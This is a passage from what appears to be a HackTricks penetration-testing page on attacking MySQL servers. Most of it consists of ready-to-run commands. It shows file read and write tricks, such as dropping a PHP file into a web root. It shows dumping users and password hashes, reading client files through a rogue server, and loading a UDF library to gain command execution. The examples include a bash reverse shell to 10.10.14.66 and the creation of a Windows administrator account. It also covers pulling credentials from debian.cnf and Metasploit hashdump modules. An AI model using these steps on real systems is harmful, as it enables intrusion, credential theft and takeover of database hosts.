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" #Read & Write ## Yo need FILE privilege to read & write to files. select load_file('/var/lib/mysql-files/key.txt'); #Read file select 1,2,"",4 into OUTFILE 'C:/xampp/htdocs/back.php' #Try to change MySQL root password UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES; quit; ``` ```bash mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` ### MySQL Permissions Enumeration ```sql #Mysql SHOW GRANTS [FOR user]; SHOW GRANTS; SHOW GRANTS FOR 'root'@'localhost'; SHOW GRANTS FOR CURRENT_USER(); # Get users, permissions & hashes SELECT * FROM mysql.user; #From DB select * from mysql.user where user='root'; ## Get users with file_priv select user,file_priv from mysql.user where file_priv='Y'; ## Get users with Super_priv select user,Super_priv from mysql.user where Super_priv='Y'; # List functions SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION'; #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute) ### MySQL File RCE {% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} [mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) {% endcontent-ref %} ## MySQL arbitrary read file by client Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\ Please notice that this is the behaviour using: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` (Notice the "local" word)\ Because without the "local" you can get: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)

[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. {% embed url="https://www.rootedcon.com/" %} ## POST ### Mysql User It will be very interesting if mysql is running as **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### Dangerous Settings of mysqld.cnf In the configuration of MySQL services, various settings are employed to define its operation and security measures: * The **`user`** setting is utilized for designating the user under which the MySQL service will be executed. * **`password`** is applied for establishing the password associated with the MySQL user. * **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface. * The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs. * **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs. * With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security. ### Privilege escalation ```bash # Get current user (an all users) privileges and hashes use mysql; select user(); select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user; # Get users, permissions & creds SELECT * FROM mysql.user; mysql -u root --password= -e "SELECT * FROM mysql.user;" # Create user and give privileges create user test identified by 'test'; grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION; # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` ### Privilege Escalation via library If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql. The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need. If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` Now that you have the library, login inside the Mysql as a privileged user (root?) and follow the next steps: #### Linux ```sql # Use a database use mysql; # Create a table to load the library and move it to the plugins dir create table npn(line blob); # Load the binary library inside the table ## You might need to change the path and file name insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); # Get the plugin_dir path show variables like '%plugin%'; # Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ # dump in there the library select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so'; # Create a function to execute commands create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; # Execute commands select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"'); ``` #### Windows ```sql # CHech the linux comments for more indications USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll')); show variables like '%plugin%'; SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Extracting MySQL credentials from files Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` You can **use these credentials to login in the mysql database**. Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **all the hashes of the MySQL users** (the ones that you can extract from mysql.user inside the database)_._ You can extract them doing: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### Enabling logging You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines: ![](<../.gitbook/assets/image (899).png>) ### Useful files Configuration Files * windows \* * config.ini * my.ini * windows\my.ini * winnt\my.ini * \/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf * \~/.my.cnf * /etc/my.cnf * Command History * \~/.mysql.history * Log Files * connections.log * update.log * common.log ## Default MySQL Database/Tables {% tabs %} {% tab title="information_schema" %} ALL\_PLUGINS\ APPLICABLE\_ROLES\ CHARACTER\_SETS\ CHECK\_CONSTRAINTS\ COLLATIONS\ COLLATION\_CHARACTER\_SET\_APPLICABILITY\ COLUMNS\ COLUMN\_PRIVILEGES\ ENABLED\_ROLES\ ENGINES\ EVENTS\ FILES\ GLOBAL\_STATUS\ GLOBAL\_VARIABLES\ KEY\_COLUMN\_USAGE\ KEY\_CACHES\ OPTIMIZER\_TRACE\ PARAMETERS\ PARTITIONS\ PLUGINS\ PROCESSLIST\ PROFILING\ REFERENTIAL\_CONSTRAINTS\ ROUTINES\ SCHEMATA\ SCHEMA\_PRIVILEGES\ SESSION\_STATUS\ SESSION\_VARIABLES\ STATISTICS\ SYSTEM\_VARIABLES\ TABLES\ TABLESPACES\ TABLE\_CONSTRAINTS\ TABLE\_PRIVILEGES\ TRIGGERS\ USER\_PRIVILEGES\ VIEWS\ INNODB\_LOCKS\ INNODB\_TRX\ INNODB\_SYS\_DATAFILES\ INNODB\_FT\_CONFIG\ INNODB\_SYS\_VIRTUAL\ INNODB\_CMP\ INNODB\_FT\_BEING\_DELETED\ INNODB\_CMP\_RESET\ INNODB\_CMP\_PER\_INDEX\ INNODB\_CMPMEM\_RESET\ INNODB\_FT\_DELETED\ INNODB\_BUFFER\_PAGE\_LRU\ INNODB\_LOCK\_WAITS\ INNODB\_TEMP\_TABLE\_INFO\ INNODB\_SYS\_INDEXES\ INNODB\_SYS\_TABLES\ INNODB\_SYS\_FIELDS\ INNODB\_CMP\_PER\_INDEX\_RESET\ INNODB\_BUFFER\_PAGE\ INNODB\_FT\_DEFAULT\_STOPWORD\ INNODB\_FT\_INDEX\_TABLE\ INNODB\_FT\_INDEX\_CACHE\ INNODB\_SYS\_TABLESPACES\ INNODB\_METRICS\ INNODB\_SYS\_FOREIGN\_COLS\ INNODB\_CMPMEM\ INNODB\_BUFFER\_POOL\_STATS\ INNODB\_SYS\_COLUMNS\ INNODB\_SYS\_FOREIGN\ INNODB\_SYS\_TABLESTATS\ GEOMETRY\_COLUMNS\ SPATIAL\_REF\_SYS\ CLIENT\_STATISTICS\ INDEX\_STATISTICS\ USER\_STATISTICS\ INNODB\_MUTEXES\ TABLE\_STATISTICS\ INNODB\_TABLESPACES\_ENCRYPTION\ user\_variables\ INNODB\_TABLESPACES\_SCRUBBING\ INNODB\_SYS\_SEMAPHORE\_WAITS {% endtab %} {% tab title="mysql" %} columns\_priv\ column\_stats\ db\ engine\_cost\ event\ func\ general\_log\ gtid\_executed\ gtid\_slave\_pos\ help\_category\ help\_keyword\ help\_relation\ help\_topic\ host\ index\_stats\ innodb\_index\_stats\ innodb\_table\_stats\ ndb\_binlog\_index\ plugin\ proc\ procs\_priv\ proxies\_priv\ roles\_mapping\ server\_cost\ servers\ slave\_master\_info\ slave\_relay\_log\_info\ slave\_worker\_info\ slow\_log\ tables\_priv\ table\_stats\ time\_zone\ time\_zone\_leap\_second\ time\_zone\_name\ time\_zone\_transition\ time\_zone\_transition\_type\ transaction\_registry\ user {% endtab %} {% tab title="performance_schema" %} accounts\ cond\_instances\ events\_stages\_current\ events\_stages\_history\ events\_stages\_history\_long\ events\_stages\_summary\_by\_account\_by\_event\_name\ events\_stages\_summary\_by\_host\_by\_event\_name\ events\_stages\_summary\_by\_thread\_by\_event\_name\ events\_stages\_summary\_by\_user\_by\_event\_name\ events\_stages\_summary\_global\_by\_event\_name\ events\_statements\_current\ events\_statements\_history\ events\_statements\_history\_long\ events\_statements\_summary\_by\_account\_by\_event\_name\ events\_statements\_summary\_by\_digest\ events\_statements\_summary\_by\_host\_by\_event\_name\ events\_statements\_summary\_by\_program\ events\_statements\_summary\_by\_thread\_by\_event\_name\ events\_statements\_summary\_by\_user\_by\_event\_name\ events\_statements\_summary\_global\_by\_event\_name\ events\_transactions\_current\ events\_transactions\_history\ events\_transactions\_history\_long\ events\_transactions\_summary\_by\_account\_by\_event\_name\ events\_transactions\_summary\_by\_host\_by\_event\_name\ events\_transactions\_summary\_by\_thread\_by\_event\_name\ events\_transactions\_summary\_by\_user\_by\_event\_name\ events\_transactions\_summary\_global\_by\_event\_name\ events\_waits\_current\ events\_waits\_history\ events\_waits\_history\_long\ events\_waits\_summary\_by\_account\_by\_event\_name\ events\_waits\_summary\_by\_host\_by\_event\_name\ events\_waits\_summary\_by\_instance\ events\_waits\_summary\_by\_thread\_by\_event\_name\ events\_waits\_summary\_by\_user\_by\_event\_name\ events\_waits\_summary\_global\_by\_event\_name\ file\_instances\ file\_summary\_by\_event\_name\ file\_summary\_by\_instance\ global\_status\ global\_variables\ host\_cache\ hosts\ memory\_summary\_by\_account\_by\_event\_name\ memory\_summary\_by\_host\_by\_event\_name\ memory\_summary\_by\_thread\_by\_event\_name\ memory\_summary\_by\_user\_by\_event\_name\ memory\_summary\_global\_by\_event\_name\ metadata\_locks\ mutex\_instances\ objects\_summary\_global\_by\_type\ performance\_timers\ prepared\_statements\_instances\ replication\_applier\_configuration\ replication\_applier\_status\ replication\_applier\_status\_by\_coordinator\ replication\_applier\_status\_by\_worker\ replication\_connection\_configuration\ replication\_connection\_status\ replication\_group\_member\_stats\ replication\_group\_members\ rwlock\_instances\ session\_account\_connect\_attrs\ session\_connect\_attrs\ session\_status\ session\_variables\ setup\_actors\ setup\_consumers\ setup\_instruments\ setup\_objects\ setup\_timers\ socket\_instances\ socket\_summary\_by\_event\_name\ socket\_summary\_by\_instance\ status\_by\_account\ status\_by\_host\ status\_by\_thread\ status\_by\_user\ table\_handles\ table\_io\_waits\_summary\_by\_index\_usage\ table\_io\_waits\_summary\_by\_table\ table\_lock\_waits\_summary\_by\_table\ threads\ user\_variables\_by\_thread\ users\ variables\_by\_thread {% endtab %} {% tab title="sys" %} host\_summary\ host\_summary\_by\_file\_io\ host\_summary\_by\_file\_io\_type\ host\_summary\_by\_stages\ host\_summary\_by\_statement\_latency\ host\_summary\_by\_statement\_type\ innodb\_buffer\_stats\_by\_schema\ innodb\_buffer\_stats\_by\_table\ innodb\_lock\_waits\ io\_by\_thread\_by\_latency\ io\_global\_by\_file\_by\_bytes\ io\_global\_by\_file\_by\_latency\ io\_global\_by\_wait\_by\_bytes\ io\_global\_by\_wait\_by\_latency\ latest\_file\_io\ memory\_by\_host\_by\_current\_bytes\ memory\_by\_thread\_by\_current\_bytes\ memory\_by\_user\_by\_current\_bytes\ memory\_global\_by\_current\_bytes\ memory\_global\_total\ metrics\ processlist\ ps\_check\_lost\_instrumentation\ schema\_auto\_increment\_columns\ schema\_index\_statistics\ schema\_object\_overview\ schema\_redundant\_indexes\ schema\_table\_lock\_waits\ schema\_table\_statistics\ schema\_table\_statistics\_with\_buffer\ schema\_tables\_with\_full\_table\_scans\ schema\_unused\_indexes\ session\ session\_ssl\_status\ statement\_analysis\ statements\_with\_errors\_or\_warnings\ statements\_with\_full\_table\_scans\ statements\_with\_runtimes\_in\_95th\_percentile\ statements\_with\_sorting\ statements\_with\_temp\_tables\ sys\_config\ user\_summary\ user\_summary\_by\_file\_io\ user\_summary\_by\_file\_io\_type\ user\_summary\_by\_stages\ user\_summary\_by\_statement\_latency\ user\_summary\_by\_statement\_type\ version\ wait\_classes\_global\_by\_avg\_latency\ wait\_classes\_global\_by\_latency\ waits\_by\_host\_by\_latency\ waits\_by\_user\_by\_latency\ waits\_global\_by\_latency\ x$host\_summary\ x$host\_summary\_by\_file\_io\ x$host\_summary\_by\_file\_io\_type\ x$host\_summary\_by\_stages\ x$host\_summary\_by\_statement\_latency\ x$host\_summary\_by\_statement\_type\ x$innodb\_buffer\_stats\_by\_schema\ x$innodb\_buffer\_stats\_by\_table\ x$innodb\_lock\_waits\ x$io\_by\_thread\_by\_latency\ x$io\_global\_by\_file\_by\_bytes\ x$io\_global\_by\_file\_by\_latency\ x$io\_global\_by\_wait\_by\_bytes\ x$io\_global\_by\_wait\_by\_latency\ x$latest\_file\_io\ x$memory\_by\_host\_by\_current\_bytes\ x$memory\_by\_thread\_by\_current\_bytes\ x$memory\_by\_user\_by\_current\_bytes\ x$memory\_global\_by\_current\_bytes\ x$memory\_global\_total\ x$processlist\ x$ps\_digest\_95th\_percentile\_by\_avg\_us\ x$ps\_digest\_avg\_latency\_distribution\ x$ps\_schema\_table\_statistics\_io\ x$schema\_flattened\_keys\ x$schema\_index\_statistics\ x$schema\_table\_lock\_waits\ x$schema\_table\_statistics\ x$schema\_table\_statistics\_with\_buffer\ x$schema\_tables\_with\_full\_table\_scans\ x$session\ x$statement\_analysis\ x$statements\_with\_errors\_or\_warnings\ x$statements\_with\_full\_table\_scans\ x$statements\_with\_runtimes\_in\_95th\_percentile\ x$statements\_with\_sorting\ x$statements\_with\_temp\_tables\ x$user\_summary\ x$user\_summary\_by\_file\_io\ x$user\_summary\_by\_file\_io\_type\ x$user\_summary\_by\_stages\ x$user\_summary\_by\_statement\_latency\ x$user\_summary\_by\_statement\_type\ x$wait\_classes\_global\_by\_avg\_latency\ x$wait\_classes\_global\_by\_latency\ x$waits\_by\_host\_by\_latency\ x$waits\_by\_user\_by\_latency\ x$waits\_global\_by\_latency {% endtab %} {% endtabs %} ## HackTricks Automatic Commands ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. Protocol_Description: MySql #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). https://book.hacktricks.xyz/pentesting/pentesting-mysql Entry_2: Name: Nmap Description: Nmap with MySql Scripts Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306 Entry_3: Name: MySql Description: Attempt to connect to mysql server Command: mysql -h {IP} -u {Username}@localhost Entry_4: Name: MySql consolesless mfs enumeration Description: MySql enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ```

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